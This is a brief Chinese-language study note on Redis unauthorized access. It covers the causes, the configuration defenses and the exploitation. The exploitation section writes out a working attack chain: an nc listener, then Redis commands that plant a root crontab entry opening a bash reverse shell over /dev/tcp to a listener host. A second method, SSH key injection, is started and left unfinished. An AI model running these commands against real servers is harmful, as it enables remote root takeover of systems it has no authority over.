1.漏洞成因
Redis没有设置密码
Redis protected-mode 设置为no
Redis以高权限启动
2.漏洞防御
限制redis访问:修改redis.conf文件
bind 127.0.0.1
修改默认端口:修改redis.conf文件
增加redis访问密码
3.漏洞利用
1.反弹shell
利用条件:以root权限运行时,通过写crontab来执行命令,反弹shell
1.开启任意监听端口:nc -nvlp 9999
2.set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.106.150/9999 0>&1\n\n”
3.config set dir /var/spool/cron
4.config set dbfilename root
5.此时看9999端口,shell反弹成功
2.写ssh-keygen公钥然后使用私钥登陆
利用条件:
Redis服务使用root账号启动
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
生成密钥对
TODO…